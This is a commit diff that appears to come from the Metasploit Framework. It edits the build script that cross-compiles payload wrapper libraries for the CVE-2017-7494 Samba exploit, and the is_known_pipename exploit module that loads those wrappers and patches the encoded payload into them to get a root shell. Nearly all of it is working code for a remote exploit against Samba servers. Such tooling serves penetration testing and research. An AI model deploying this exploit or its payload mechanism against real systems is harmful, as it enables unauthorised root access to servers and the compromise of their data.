Rename payloads with os+libc, shrink array inits

data/exploits/CVE-2017-7494/build.sh

@@ -13,32 +13,36 @@ build () {
 
 rm -f *.o *.so *.gz
 
+#
+# Linux GLIBC
+#
+
 # x86
-build "gcc" "x86_64" "-m64 -D OLD_LIB_SET_2"
-build "gcc" "x86" "-m32 -D OLD_LIB_SET_1"
+build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
+build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
 
 # ARM
-build "arm-linux-gnueabi-gcc-5" "armel" "-march=armv5 -mlittle-endian"
-build "arm-linux-gnueabihf-gcc-5" "armhf" "-march=armv7 -mlittle-endian"
-build "aarch64-linux-gnu-gcc-4.9" "aarch64" ""
+build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
+build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
+build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
 
 # MIPS
-build "mips-linux-gnu-gcc-5" "mips" "-D OLD_LIB_SET_1"
-build "mipsel-linux-gnu-gcc-5"  "mipsel" "-D OLD_LIB_SET_1"
-build "mips64-linux-gnuabi64-gcc-5"  "mips64" "-D OLD_LIB_SET_1"
-build "mips64el-linux-gnuabi64-gcc-5" "mips64el" "-D OLD_LIB_SET_1"
+build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
+build "mipsel-linux-gnu-gcc-5"  "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
+build "mips64-linux-gnuabi64-gcc-5"  "linux-glibc-mips64" "-D OLD_LIB_SET_1"
+build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
 
 # SPARC
-build "sparc64-linux-gnu-gcc-5" "sparc64" ""
-build "sparc64-linux-gnu-gcc-5" "sparc" "-m32 -D OLD_LIB_SET_1"
+build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
+build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
 
 # PowerPC
-build "powerpc-linux-gnu-gcc-5" "powerpc" "-D OLD_LIB_SET_1"
-build "powerpc64-linux-gnu-gcc-5" "powerpc64" ""
-build "powerpc64le-linux-gnu-gcc-4.9" "powerpc64le" ""
+build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
+build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
+build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
 
 # S390X
-build "s390x-linux-gnu-gcc-5" "s390x" ""
+build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
 
 gzip -9 *.so
 rm -f *.o *.so

modules/exploits/linux/samba/is_known_pipename.rb

@@ -105,10 +105,15 @@ class MetasploitModule < Msf::Exploit::Remote
         #
     }
 
-    # Platforms we don't offiically support but can shell anyways with interact
+    # Architectures we don't offiically support but can shell anyways with interact
     @@payload_arch_bonus = %W{
       mips64el sparc64 s390x
     }
+
+    # General platforms (OS + C library)
+    @@payload_platforms = %W{
+      linux-glibc
+    }
   end
 
   # List all top-level directories within a given share
@@ -322,20 +327,29 @@ class MetasploitModule < Msf::Exploit::Remote
     # Remove any duplicates that mau have snuck in
     template_list.uniq!
 
-    # Cycle through each template and yield
-    template_list.each do |t_arch|
-      data = ''
-      ::File.open(File.join(template_base, "samba-root-#{template_type}-#{t_arch}.so.gz"), "rb") do |fd|
-        data = Rex::Text.ungzip(fd.read)
-      end
+    # Cycle through each top-level platform we know about
+    @@payload_platforms.each do |t_plat|
 
-      pidx = data.index('PAYLOAD')
-      if pidx
-        data[pidx, payload.encoded.length] = payload.encoded
-      end
+      # Cycle through each template and yield
+      template_list.each do |t_arch|
 
-      vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
-      yield(data)
+
+        wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
+        next unless ::File.exists?(wrapper_path)
+
+        data = ''
+        ::File.open(wrapper_path, "rb") do |fd|
+          data = Rex::Text.ungzip(fd.read)
+        end
+
+        pidx = data.index('PAYLOAD')
+        if pidx
+          data[pidx, payload.encoded.length] = payload.encoded
+        end
+
+        vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
+        yield(data)
+      end
     end
   end